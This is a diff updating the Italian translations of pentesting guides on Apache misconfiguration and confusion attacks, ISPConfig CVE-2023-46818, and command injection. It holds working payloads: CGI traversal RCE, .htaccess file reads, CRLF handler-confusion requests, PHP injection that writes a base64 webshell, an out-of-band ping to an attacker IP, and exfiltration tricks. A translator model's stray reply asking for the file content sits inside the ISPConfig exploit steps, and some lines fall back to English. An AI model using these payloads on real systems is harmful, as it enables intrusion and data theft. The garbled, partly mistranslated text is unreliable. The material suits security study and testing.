@@ -342,7 +341,7 @@ Find more info about web vulns in:
 
 ### Monitor Pages for changes
 
-You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
+Puoi usare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare pagine e rilevare modifiche che potrebbero introdurre vulnerabilità.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/apache.md

@@ -4,11 +4,11 @@
 
 ## Estensioni PHP eseguibili
 
-Verifica quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire:
+Controlla quali estensioni vengono eseguite dal server Apache. Per cercarle puoi eseguire:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Inoltre, alcuni posti in cui è possibile trovare questa configurazione sono:
+Inoltre, alcuni posti dove puoi trovare questa configurazione sono:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
-## LFI via .htaccess ErrorDocument file provider (ap_expr)
+## LFI tramite il provider ErrorDocument file di .htaccess (ap_expr)
 
 Se puoi controllare il .htaccess di una directory e AllowOverride include FileInfo per quel percorso, puoi trasformare le risposte 404 in letture arbitrarie di file locali usando la funzione ap_expr file() all'interno di ErrorDocument.
 
 - Requisiti:
-- Apache 2.4 con parser di espressioni (ap_expr) abilitato (default in 2.4).
-- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
-- L'utente worker di Apache deve avere permessi di lettura sul file di destinazione.
+- Apache 2.4 con expression parser (ap_expr) abilitato (default in 2.4).
+- Il vhost/dir deve permettere al .htaccess di impostare ErrorDocument (AllowOverride FileInfo).
+- L'utente worker di Apache deve avere permessi di lettura sul file target.
 
 .htaccess payload:
 ```apache
@@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo"
 # On any 404 under this directory, return the contents of an absolute filesystem path
 ErrorDocument 404 %{file:/etc/passwd}
 ```
-Si verifica richiedendo qualsiasi percorso non esistente sotto quella directory, per esempio quando si abusa di userdir-style hosting:
+Si attiva richiedendo qualsiasi non-existing path sotto quella directory, ad esempio quando si abusa di userdir-style hosting:
 ```bash
 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
 ```
 Notes and tips:
-- Funzionano solo i percorsi assoluti. Il contenuto viene restituito come response body per il 404 handler.
+- Funzionano solo percorsi assoluti. Il contenuto viene restituito come corpo della response per il 404 handler.
 - I permessi di lettura effettivi sono quelli dell'utente Apache (tipicamente www-data/apache). Non potrai leggere /root/* o /etc/shadow nelle configurazioni di default.
-- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette il rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP:
+- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette la rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP:
 - rename .htaccess .htaccess.bk
 - put your malicious .htaccess
-- Usa questo per leggere il source dell'applicazione sotto DocumentRoot o i percorsi di configurazione vhost per raccogliere segreti (DB creds, API keys, ecc.).
+- Usalo per leggere il sorgente dell'applicazione sotto DocumentRoot o i percorsi di config vhost per raccogliere secret (DB creds, API keys, etc.).
 
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
-These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attacco "confusion" sostanzialmente abusa del fatto che le decine di module che lavorano insieme per creare un Apache non sono perfettamente sincronizzate: la modifica di dati inaspettati da parte di alcuni di essi può causare una vulnerabilità in un modulo successivo.
+These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
 
 ### Filename Confusion
 
 #### Truncation
 
-Il **`mod_rewrite`** tronca il contenuto di `r->filename` dopo il carattere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Questo non è del tutto sbagliato, dato che la maggior parte dei moduli tratterà `r->filename` come un URL. Ma in altre occasioni sarà trattato come un percorso di file, il che può causare un problema.
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
 
-- **Path Truncation**
+### Path Truncation
 
-È possibile abusare di `mod_rewrite` come nel seguente esempio di regola per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un `?`:
+It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -74,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
-- **Mislead RewriteFlag Assignment**
+- **Fuorviare l'assegnazione di RewriteFlag**
 
-Nella seguente rewrite rule, fintanto che l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` caricando nel path un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno:
+Nella seguente rewrite rule, finché l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` caricando nel percorso un tipo di file diverso (ad esempio un'immagine) contenente codice php malevolo:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-È possibile accedere a file che l'utente non dovrebbe poter visualizzare anche se l'accesso dovrebbe essere negato da configurazioni come:
+È possibile accedere a file ai quali l'utente non dovrebbe poter accedere, anche se l'accesso dovrebbe essere negato da configurazioni come:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Ciò accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php` e poiché PHP-FPM rimuoverà qualsiasi cosa dopo il carattere `?`, l'URL precedente permetterà di caricare /admin.php anche se la regola precedente lo proibiva.
+Questo accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php`, e poiché PHP-FPM rimuove tutto dopo il carattere `?`, l'URL precedente permetterà di caricare `/admin.php` anche se la regola precedente lo proibiva.
 
-### Confusione con DocumentRoot
+### Confusione su DocumentRoot
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Un fatto curioso su Apache è che la rewrite precedente proverà ad accedere al file sia dal documentRoot che dalla root. Quindi, una richiesta a `https://server/abouth.html` verificherà la presenza del file in `/var/www/html/about.html` e in `/about.html` nel file system. Il che sostanzialmente può essere abusato per accedere a file nel file system.
+Un fatto curioso su Apache è che la rewrite precedente tenterà di accedere al file sia da documentRoot che da root. Quindi, una richiesta a `https://server/abouth.html` controllerà la presenza del file in `/var/www/html/about.html` e `/about.html` nel file system. Il che, sostanzialmente, può essere abusato per accedere a file nel file system.
 
 #### **Divulgazione del codice sorgente lato server**
 
-- **Rivelare il codice sorgente CGI**
+- **Divulgare il codice sorgente CGI**
 
-Basta aggiungere %3F alla fine perché avvenga il leak del codice sorgente di un modulo cgi:
+Basta aggiungere %3F alla fine per leak il codice sorgente di un modulo cgi:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
-- **Divulgare PHP Source Code**
+- **Divulgare il codice sorgente PHP**
 
-Se un server ospita domini diversi e uno di essi è un dominio statico, questo può essere abusato per attraversare il file system e leak php code:
+Se un server ha domini diversi con uno di questi che è un dominio statico, questo può essere sfruttato per attraversare il file system e leak php code:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 ```
 #### **Local Gadgets Manipulation**
 
-Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem viene negata come in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
+Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem sarà negata, come nel [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) di Apache HTTP Server:
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) per impostazione predefinita consentono `/usr/share`:
+Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) per impostazione predefinita consentono l'accesso a `/usr/share`:
 ```xml
 <Directory /usr/share>
 AllowOverride None
 Require all granted
 </Directory>
 ```
-Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/share` in queste distribuzioni.**
+Pertanto, sarebbe possibile **abusare dei file situati in `/usr/share` in queste distribuzioni.**
 
 **Local Gadget to Information Disclosure**
 
-- **Apache HTTP Server** con **websocketd** può esporre lo script **dump-env.php** in **/usr/share/doc/websocketd/examples/php/**, che può causare il leak di variabili d'ambiente sensibili.
-- Server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili dell'applicazione web (es., **web.xml**) tramite le loro web root di default collocate sotto **/usr/share**:
+- **Apache HTTP Server** con **websocketd** può esporre lo script **dump-env.php** in **/usr/share/doc/websocketd/examples/php/**, che può leak variabili d'ambiente sensibili.
+- I server con **Nginx** o **Jetty** potrebbero esporre informazioni sensibili delle web application (es., **web.xml**) tramite le loro root web predefinite posizionate sotto **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
 **Local Gadget to XSS**
 
-- Su Ubuntu Desktop con **LibreOffice installato**, sfruttare la funzionalità di cambio lingua nei file di help può portare a **Cross-Site Scripting (XSS)**. Manipolando l'URL in **/usr/share/libreoffice/help/help.html** è possibile reindirizzare verso pagine malevole o verso versioni precedenti tramite una **unsafe RewriteRule**.
+- Su Ubuntu Desktop con **LibreOffice installed**, sfruttando la funzionalità di cambio lingua dei file di help si può arrivare a **Cross-Site Scripting (XSS)**. Manipolando l'URL in **/usr/share/libreoffice/help/help.html** si può reindirizzare verso pagine malevole o versioni precedenti tramite **unsafe RewriteRule**.
 
 **Local Gadget to LFI**
 
-- Se PHP o determinati pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**:
+- Se PHP o certi pacchetti front-end come **JpGraph** o **jQuery-jFeed** sono installati, i loro file possono essere sfruttati per leggere file sensibili come **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
 **Local Gadget to SSRF**
 
-- Utilizzando **MagpieRSS's magpie_debug.php** in **/usr/share/php/magpierss/scripts/magpie_debug.php**, può essere creata facilmente una vulnerabilità SSRF, fornendo una via per exploit ulteriori.
+- Utilizzando **MagpieRSS's magpie_debug.php** in **/usr/share/php/magpierss/scripts/magpie_debug.php**, si può creare facilmente una vulnerabilità SSRF, fornendo una porta per ulteriori exploit.
 
 **Local Gadget to RCE**
 
-- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come una vecchia versione di **PHPUnit** o **phpLiteAdmin**. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale nella manipolazione dei local gadgets.
+- Le opportunità per **Remote Code Execution (RCE)** sono vaste, con installazioni vulnerabili come un **PHPUnit** obsoleto o **phpLiteAdmin**. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale della manipolazione dei local gadgets.
 
 #### **Jailbreak from Local Gadgets**
 
-È inoltre possibile effettuare il jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come:
+È inoltre possibile effettuare un jailbreak dalle cartelle consentite seguendo i symlink creati dal software installato in quelle cartelle, ad esempio:
 
 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@@ -186,17 +186,17 @@ Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/shar
 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
 
-Inoltre, sfruttando i symlink è stato possibile ottenere **RCE in Redmine.**
+Inoltre, abusando dei symlink è stato possibile ottenere **RCE in Redmine.**
 
 ### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
 
-Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, entrambe possono essere utilizzate per **abilitare il processamento PHP**. Originariamente, queste direttive agivano su campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo no.
+Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive `AddHandler` e `AddType`, che entrambe possono essere usate per **abilitare l'esecuzione di PHP**. Originariamente, queste direttive agivano su campi diversi (`r->handler` e `r->content_type` rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo `r->content_type` in `r->handler` se il primo è impostato e il secondo no.
 
-Inoltre, nell'Apache HTTP Server (`server/config.c#L420`), se `r->handler` è vuoto prima dell'esecuzione di `ap_run_handler()`, il server **usa `r->content_type` come handler**, rendendo di fatto `AddType` e `AddHandler` identici nel loro effetto.
+Inoltre, nell'Apache HTTP Server (`server/config.c#L420`), se `r->handler` è vuoto prima di eseguire `ap_run_handler()`, il server **usa `r->content_type` come handler**, rendendo di fatto `AddType` e `AddHandler` identici nell'effetto.
 
 #### **Overwrite Handler to Disclose PHP Source Code**
 
-In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), è stata presentata una vulnerabilità in cui un `Content-Length` errato inviato da un client può causare che Apache erroneamente **restituisca il codice sorgente PHP**. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` a `text/html`.\
+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) è stata presentata una vulnerabilità in cui un `Content-Length` errato inviato da un client può causare che Apache per errore **restituisca il codice sorgente PHP**. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere `r->content_type` con `text/html`.\
 Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP senza interpretarlo.
 
 #### **Overwrite Handler to XXXX**
@@ -205,36 +205,36 @@ TODO: Orange non ha ancora divulgato questa vulnerabilità
 
 ### **Invoke Arbitrary Handlers**
 
-Se un attacker è in grado di controllare l'intestazione **`Content-Type`** in una risposta del server sarà in grado di **invocare arbitrary module handlers**. Tuttavia, al punto in cui l'attacker controlla questo, la maggior parte del processo della request sarà già stata eseguita. È comunque possibile **riavviare il processo della request abusando dell'intestazione `Location`** perché se lo `Status` restituito è 200 e l'intestazione `Location` inizia con `/`, la risposta è trattata come una Server-Side Redirection e dovrebbe essere processata
+Se un attacker è in grado di controllare l'**`Content-Type`** header in una risposta del server, sarà in grado di **invoke arbitrary module handlers**. Tuttavia, al punto in cui l'attacker controlla questo, gran parte del processo della richiesta sarà già stata eseguita. È comunque possibile **riavviare il processo di richiesta abusando dell'`Location` header** perché se lo `Status` restituito è 200 e l'header `Location` inizia con `/`, la risposta viene trattata come una Server-Side Redirection e dovrebbe essere processata.
 
 Secondo [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifica su CGI) nella [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) viene definito il comportamento di Local Redirect Response:
 
 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
 
-Pertanto, per eseguire questo attacco è necessario uno dei seguenti vulns:
+Pertanto, per eseguire questo attacco è necessario una delle seguenti vulnerabilità:
 
-- CRLF Injection nella response headers del CGI
-- SSRF con controllo completo delle response headers
+- CRLF Injection nei header di risposta CGI
+- SSRF con controllo completo degli header di risposta
 
 #### **Arbitrary Handler to Information Disclosure**
 
-Per esempio, `/server-status` dovrebbe essere accessibile solo localmente:
+Per esempio `/server-status` dovrebbe essere accessibile solo localmente:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-È possibile accedervi impostando il `Content-Type` su `server-status` e il Location header che inizi con `/`.
+È possibile accedervi impostando il `Content-Type` su `server-status` e l'header Location che inizi con `/`.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Da Handler arbitrario a Full SSRF**
+#### **Arbitrary Handler to Full SSRF**
 
-Reindirizzando verso `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL:
+Reindirizzamento a `mod_proxy` per accedere a qualsiasi protocollo su qualsiasi URL:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -243,11 +243,11 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-Tuttavia, viene aggiunta l'intestazione `X-Forwarded-For`, che impedisce l'accesso agli endpoint dei metadata cloud.
+Tuttavia, l'intestazione `X-Forwarded-For` viene aggiunta impedendo l'accesso agli endpoint dei metadata del cloud.
 
-#### **Handler arbitrario per accedere al Unix Domain Socket locale**
+#### **Handler arbitrario per accedere al socket di dominio Unix locale**
 
-Accedi al Unix Domain Socket locale di PHP-FPM per eseguire una backdoor PHP situata in `/tmp/`:
+Accedi al socket di dominio Unix locale di PHP-FPM per eseguire un PHP backdoor situato in `/tmp/`:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
 ```
 #### **Arbitrary Handler to RCE**
 
-L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento da riga di comando per la gestione di pacchetti PHP, che può essere abusato per ottenere RCE:
+L'immagine ufficiale [PHP Docker](https://hub.docker.com/_/php) include PEAR (`Pearcmd.php`), uno strumento di gestione pacchetti PHP da riga di comando, che può essere abusato per ottenere RCE:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -4,36 +4,36 @@
 
 ## Panoramica
 
-ISPConfig è un control panel di hosting open-source. Le vecchie build 3.2.x includevano una funzionalità di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'injection di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP è eseguito, a privilege escalation.
+ISPConfig è un pannello di controllo per hosting open-source. Le versioni più vecchie della serie 3.2.x includevano una funzione di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'iniezione arbitraria di codice PHP tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP viene eseguito, a escalation di privilegi.
 
 Percorsi predefiniti principali:
-- Web root spesso in `/var/www/ispconfig` quando servito con `php -S` o via Apache/nginx.
-- L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte legato solo a localhost; usa SSH port-forward se necessario).
+- La web root si trova spesso in `/var/www/ispconfig` quando viene servita con `php -S` o tramite Apache/nginx.
+- L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte vincolato solo a localhost; usa SSH port-forward se necessario).
 
-Suggerimento: se il pannello è legato localmente (es. `127.0.0.1:8080`), effettua il port-forward:
+Suggerimento: Se il pannello è vincolato localmente (es. `127.0.0.1:8080`), forwardalo:
 ```bash
 ssh -L 9001:127.0.0.1:8080 user@target
 # then browse http://127.0.0.1:9001
 ```
-## Language editor PHP code injection (CVE-2023-46818)
+## Editor delle lingue PHP code injection (CVE-2023-46818)
 
-- Interessato: ISPConfig fino a 3.2.11 (corretto in 3.2.11p1)
-- Precondizioni:
-- Effettuare il login con l'account superadmin integrato `admin` (altri ruoli non sono interessati secondo il vendor)
-- Il language editor deve essere abilitato: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
-- Impatto: un admin autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web
+- Colpiti: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
+- Prerequisiti:
+- Login as the built-in superadmin account `admin` (altri ruoli non sono interessati secondo il fornitore)
+- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
+- Impatto: un amministratore autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web
 
-References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
+Riferimenti: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
 
-### Manual exploitation flow
+### Flusso di sfruttamento manuale
 
-1) Open/create a language file to obtain CSRF tokens
+1) Aprire/creare un file di lingua per ottenere i token CSRF
 
-Inviare una prima POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (`csrf_id`, `csrf_key`). Esempio di request path: `/admin/language_edit.php`.
+Inviare un primo POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
 
-2) Inject PHP via records[] and save
+2) Injectare PHP via records[] e salvare
 
-Inviare una seconda POST includendo i campi CSRF e un record di traduzione malevolo. Sonde minime per l'esecuzione di comandi:
+Inviare un secondo POST includendo i campi CSRF e un record di traduzione malevolo. Minimal command-execution probes:
 ```http
 POST /admin/language_edit.php HTTP/1.1
 Host: 127.0.0.1:9001
@@ -42,25 +42,27 @@ Cookie: ispconfig_auth=...
 
 lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
 ```
-Out-of-band test (osservare ICMP):
+Test fuori banda (osservare ICMP):
 ```http
 records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
 ```
-3) Scrivere file e caricare una webshell
+3) Scrivere file e posizionare una webshell
 
-Usare `file_put_contents` per creare un file sotto un percorso raggiungibile via web (es., `admin/`):
+Usare `file_put_contents` per creare un file in un percorso raggiungibile via web (es., `admin/`):
 ```http
 records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
 ```
-Poi scrivi una semplice webshell usando base64 per evitare caratteri problematici nel corpo della POST:
+Poi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel body della POST:
 ```http
 records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
 ```
-Non vedo il contenuto da tradurre. Per favore incolla qui il testo del file src/network-services-pentesting/pentesting-web/ispconfig.md (o caricalo). Posso tradurlo in italiano mantenendo intatti codice, tag, link e percorsi come richiesto.
+Non hai fornito il contenuto del file. Per favore incolla qui il contenuto di src/network-services-pentesting/pentesting-web/ispconfig.md che vuoi tradurre in italiano. 
+
+Nota: manterrò intatti codice, tag, link, percorsi e termini tecnici come richiesto.
 ```bash
 curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 ```
-Se PHP viene eseguito come root (es. tramite `php -S 127.0.0.1:8080` avviato da root), ciò porta a root RCE immediato. Altrimenti ottieni l'esecuzione di codice come l'utente del web server.
+Se PHP viene eseguito come root (es., tramite `php -S 127.0.0.1:8080` avviato da root), questo porta a una root RCE immediata. Altrimenti si ottiene esecuzione di codice come utente del server web.
 
 ### Python PoC
 
@@ -73,12 +75,12 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ```
 ### Rafforzamento
 
-- Aggiornare alla versione 3.2.11p1 o successiva
+- Aggiornare a 3.2.11p1 o successiva
 - Disabilitare l'editor delle lingue a meno che non sia strettamente necessario:
 ```
 admin_allow_langedit=no
 ```
-- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi
+- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per limitare i privilegi
 - Applica un'autenticazione forte per l'account integrato `admin`
 
 ## Riferimenti

src/pentesting-web/command-injection.md

@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Che cos'è command Injection?
+## Cos'è command Injection?
 
-Una **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi di solito consente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
+Una **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attacker sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente permette all'attacker di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
 
 ### Contesto
 
-A seconda di **dove il tuo input viene iniettato**, potrebbe essere necessario **chiudere il contesto tra virgolette** (usando `"` o `'`) prima dei comandi.
+A seconda di **dove il tuo input viene iniettato** potresti dover **terminare il contesto tra virgolette** (usando `"` o `'`) prima dei comandi.
 
 ## Command Injection/Execution
 ```bash
@@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limitazioni** Bypasses
+### **Limitazione** Bypasses
 
-Se stai cercando di eseguire **comandi arbitrari su una macchina linux** potresti essere interessato a leggere questi **Bypasses:**
+Se stai cercando di eseguire **arbitrary commands inside a linux machine** ti interesserà leggere questi **Bypasses:**
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parametri
 
-Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e ad altre RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e a vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +77,7 @@ Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injectio
 ```
 ### Time based data exfiltration
 
-Estrazione dei dati: carattere per carattere
+Estrazione dei dati: char per char
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -89,9 +89,9 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### DNS based data exfiltration
+### Esfiltrazione di dati via DNS
 
-Basato sul tool di `https://github.com/HoLyVieR/dnsbin`, ospitato anche su dnsbin.zhack.ca
+Basato sullo strumento da `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 ### Node.js `child_process.exec` vs `execFile`
 
-Quando esamini i back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`.
+Quando si analizzano i back-end JavaScript/TypeScript, ci si imbatte spesso nell'API Node.js `child_process`.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che ha un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) porterà a **command injection** quando l'input utente viene concatenato nella stringa.
